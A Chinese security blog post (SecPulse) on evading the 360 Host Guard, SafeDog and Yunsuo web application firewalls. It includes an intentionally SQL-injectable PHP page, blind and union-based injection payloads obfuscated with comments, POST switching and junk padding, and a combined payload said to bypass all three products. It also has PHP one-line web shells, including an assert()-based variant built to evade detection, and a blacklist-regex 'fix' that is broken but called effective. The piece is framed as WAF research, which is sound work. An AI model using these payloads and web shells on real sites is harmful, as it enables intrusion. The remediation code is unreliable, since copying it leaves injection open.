全方位绕过软WAF攻略

2020-07-03 10,822


0×00  前言

     现在软waf多如牛毛,各大厂商的安全工具如360主机卫士,安全狗,云锁之类的软waf进行拦截,经常碰到如下拦截提示:

1.jpg

2.jpg

3.jpg

看到以上三个拦截提示就让人头疼不已,欲罢不能。so,就在网上搜索各种绕过waf的资料,结合别人的思路和个人经验,写下这篇文章。

0×01   数据库特性

/**/
;
‘
“
#
–
– +
– -
+
-


+、-执行结果:

4.png

–、– -、– +、#执行结果:

6.png

/**/执行结果:

7.png

0×02   拦截情况

SQL注入代码:


header('content-type:text/html;chaset=utf-8');
    ini_set('display_errors',1);
    $mysqli = new mysqli('localhost', 'root','','ow');
    $id = $_GET["id"];
    $sql = "select * from news where id=".$id;
    $result = $mysqli->query($sql);
    if($result === false){//执行失败
        echo $mysqli->error;
        echo $mysqli->errno;
    }
    else
    {
        echo '<h1>'.$sql.'<h1>';
        echo '<hr><table border="1px" align="center">';
        echo '<tr><th>ID</th><th>a</th><th>内容</th></tr>';
        while($row = $result->fetch_assoc()){
            echo '<tr>';
            echo '<td>'.$row['id'].'</td>';
            echo '<td>wait</td>';
            echo '<td>'.$row['content'].'</td>';
            echo '</tr>';
        }
        echo '</table>';
    }
    $mysqli->close();


360主机卫士测试:

‘:不拦截

“:不拦截

and 1=1:拦截

and 1:不拦截

and 1 like 1:不拦截

and/**/1=1:不拦截

and ’1′=’1′:拦截

and 1<>2:不拦截

union select:拦截

union/**/select:拦截

union(select):拦截

union+form:不拦截

0×03   揣测匹配规则

and匹配规则:

初步设想and匹配规则:

and%20\d+=\d+:

8.png

9.png

根据以上正则,\d+是匹配多个数字,但是将数字改成字符串后还是被拦截。

进阶设想and匹配规则:

and%20(.)+=(.)+:

10.jpg11.jpg

本次设想规则,也可以证实了上述测试中的and 1=1,将请求包中的and%20′s’='s’改为and/**/’s'=’s',360主机卫士不会拦截

同样的将and/**/’s'=’s'改为and+’s'=’s’

12.png

咱们同样将and+’s'=’s'改为and+1=1

13.png

这样咱们进阶设想and 1=1的匹配规则就可以相对来说是成立的,既然可以用这样的形式来进行绕过,咱们可以得出一种过waf的姿势了

我们可以使用布尔盲注得到网站表中的数据了。

首先来查看库名:

语句and+’ow’=database/**/()

14.png

查出了相对应的库名ow

当然咱们主要是以绕过软waf为主,所以这里的布尔盲注就不做详细的测试了

union select匹配规则

初步设想union%20select%20\d+,\d+

15.png

咱们还是将%20替换掉,改为union+select+1,2

16.png

初步设想失败,咱们继续测试

进阶设想:

union(.)+select(.)+\d+,\d+%20

17.png

这里还是匹配到了,基本上对于这样的匹配规则,已经是无从遁形了

18.png

我们的设想几乎没有任何错误,union select的匹配规则相对的来说基本上是这样了。

0×04   提交方式绕过

19.png

可以看到数据包都是以GET方式传递的,咱们将GET提交方式改为POST,看看结果如何:

20.png

21.png

可以看到这里咱们将攻击PYLOAD执行过去之后,并没有被拦截,这个原理很简单,程序首先判断是什么方式请求

然后对应的拦截请求,我们发送POST请求的时候,在请求体中没有发现恶意攻击请求,然而并没有检测url上的攻

击POLOAD,所以就直接绕过了360主机卫士。当然不单单只是360主机卫士存在这个问题。

云锁:

GET请求

21.png

POST请求

22.png

到此绕过360主机卫士就有了两种姿势,云锁也得到了1个姿势,最便捷的一个姿势

0×05   资源限制角度绕过

这是众所周知、而又难以解决的问题。如果HTTP请求POST BODY太大,检测所有的内容,WAF集群消耗太大的CPU、内存资源。因此许多WAF只检测前面的几K字节、1M、或2M。对于攻击者而然,只需要在POST BODY前面添加许多无用数据,把攻击payload放在最后即可绕过WAF检测。

360安全卫士测试,将sql注入代码里的$GET["id"]改为$POST["id"],接着测试:

23.png

还是会被拦截,我们在攻击pyload之前加入较多的无用字符

24.png

我在攻击Pyload之前加入了789个字符后,360主机卫士并没又进行拦截,然后咱们将这里的无用字符用/**/包裹起来

25.png

我们将这里的无用字符精简一下,精简之后到485个字符及可绕过360主机卫士。

26.jpg

我们再来看看云锁

27.jpg

云锁遇到POST请求直接不用绕了。

安全狗:

28.jpg

安全狗的以这样的方式与360主机卫士类似。到此处为止360主机卫士有了3种姿势,安全狗有了第一种姿势,云锁有了两种姿势。

0×06   测试安全狗、云锁用/**/绕过

我们已以数据库特性为主来进行测试,//执行出来就是一个空格,用//对安全狗、云锁来绕过并注入

对安全狗测试:

Pyload:union//select//1,2

29.jpg

Pyload:union/*********/select/*********/1,2

30.jpg

测试到这里咱们在Pyload中加入字母,符号等等一些东西

Pyload:union/**sssssssssssssssss”‘*****/select/*****sssssssssssssssss”‘****/1,2

31.jpg

使用当前pyload成功的绕过了安全狗,咱们精简下pyload:

Pyload:union/**“‘*****/select/*****”‘****/1,2

32.jpg

当我们将字符去掉之后,被拦截了,说明安全狗在匹配/**/的时候,会匹配符号不会匹配字符,改下Pyload

Pyload:union/**s*****/select/*****s****/1,2

33.jpg

我们将这个*精简一下,得到如下Pyload

Pyload:union/s**/select/s**/1,2

34.jpg

对于安全狗使用/*/绕过的时候,右边的必须大于或等于2个*号,中间的字符串必须大于或等于1个字母的时候即可绕过安全狗

云锁测试:

根据以上测试安全狗的姿势来测试云锁/*s**/

Pload:union/s**/select/s**/1,2

35.jpg

我们改一下Pyload,给它加上符号试试

Pyload:union/s’”/select/s’”/1,2

36.jpg


成功绕过云锁,精简下Pyload

Pyload:union/’/select/’/1,2

37.jpg

对于云锁用/**/绕过的时候只要在其中加入‘就可以绕过

通过上面的绕过姿势,当360主机卫士、云锁、安全狗结合在一起的时候可得出如下姿势

Pyload:union/w’**/select/w’**/1,2

并将以上pyload通过post方式提交及可绕过。

0×07   SQL注入漏洞修复

<?php    header('content-type:text/html;chaset=utf-8');    ini_set('display_errors',1);    $mysqli = new mysqli('localhost', 'root','','ow');    $id = $_GET["id"];    $sql = "select * from news where id=".$id;    $result = $mysqli->query($sql);    if($result === false){//执行失败        echo $mysqli->error;        echo $mysqli->errno;    }    else    {        echo '<h1>'.$sql.'<h1>';        echo '<hr><table border="1px">';        echo '<tr><th>ID</th><th>a</th><th>内容</th></tr>';        while($row = $result->fetch_assoc()){            echo '<tr>';            echo '<td>'.$row['id'].'</td>';            echo '<td>wait</td>';            echo '<td>'.$row['content'].'</td>';            echo '</tr>';        }        echo '</table>';    }    $mysqli->close();
?>

修复之后:

<?php
    header('content-type:text/html;chaset=utf-8');
    ini_set('display_errors',1);
    $mysqli = new mysqli('localhost', 'root','','ow');
    $id = injection_defense($_GET["id"]);
    $sql = "select * from news where id=".$id;
    if($id)
    {
        $result = $mysqli->query($sql);
        if($result === false){//执行失败
            echo $mysqli->error;
            echo $mysqli->errno;
        }
        else
        {
            echo '<h1>'.$sql.'<h1>';
            echo '<hr><table border="1px" align="center">';
            echo '<tr><th>ID</th><th>a</th><th>内容</th></tr>';
            while($row = $result->fetch_assoc()){
                echo '<tr>';
                echo '<td>'.$row['id'].'</td>';
                echo '<td>wait</td>';
                echo '<td>'.$row['content'].'</td>';
                echo '</tr>';
            }
            echo '</table>';
        }
    }
    $mysqli->close();
    function injection_defense($str)
{
        if(preg_match('/[all|select|union|update|delete|\/|*| |and|ascii|form|where|=|\'|"|order]+/i', $str))
        {
            echo '请勿恶意攻击';
        }
        else
        {
            return $str;
        }
    }
?>


这样就可以很有效的防止SQL注入

0×08   PHP一句话原理分析

PHP一句话原型:

<?php @eval($_POST["ceshi"]);?>


一句话的原型可分为两部分

@eval():函数部分$_POST["ceshi"]:传值部分


原理分析:

在还没有接触编程的时候,很想知道为什么一句话木马功能这么齐全呢?既可以上传文件也能下载文件,还能写入文件,这是为什么呢?

咱们以这个写入文件为主,其实实现各种功能都是使用语言中的内置函数来完成该功能。

file_put_contens():写入文件操作

38.jpg

函数使用file_put_contents(文件名,文件内容)     执行之后,当前目录中就出现了shateaa.php文件,访问看看是不是输出为1

39.jpg

0×09   PHP免杀一句话编写

<?php @eval($_GET["a"]);?>:查杀
<?php @eval($_POST["a"]);?>:查杀
<?php @eval($_REQUEST["a"]);?>:查杀
<?php @eval($_COOKIE["a"]);?>:查杀
<?php @eval();?>:不查杀
<?php @assert();?>:不查杀

根据以上查杀情况,我们得出一个结论:单个代码执行的函数安全狗是不会杀的,      只有当有了外界的可控传参的时候才会被杀掉。

咱们继续来测试,既然已经知道了,我们就可以就事论事,不让软waf检测到我们有传参即可

<?php
          $arr = [$_POST["ceshi"],$_REQUEST["ceshi"]];
          @assert($arr[mt_rand(0,1)]);
?>


可绕过安全狗,360主机卫士。尽量不要使用eval代码执行函数,要使用和他功能相同的assert()函数,能完成相同的功能


0×10   关键字函数替换

40.jpg

通过GET传递函数会被匹配到360主机卫士的关键函数里,所以我们只需要改为phpinfo/**/(),这样就可以绕过

41.jpg

通过POST传递关键函数可以直接绕过

image.png

0×11   总结

一个好WAF并不是吹出来的,而是实践出来的。研究waf的绕过,并不是为了去攻击某某网站,而是为了提高waf的防御能力。当然我们不能仅仅停留在一个层面上,更要明白其漏洞原理,在代码层面上就将其修复,而不是事事靠第三方软件的防御。


本文作者:安全先师

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/134595.html

Tags:
评论  (0)
快来写下你的想法吧!

安全先师

文章数:5 积分: 105

专注于web安全、黑客攻防,分享技术干货同时是白帽子技术的培训平台及学习社区!!!(官方网站:http://xianshisec.cn/)

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号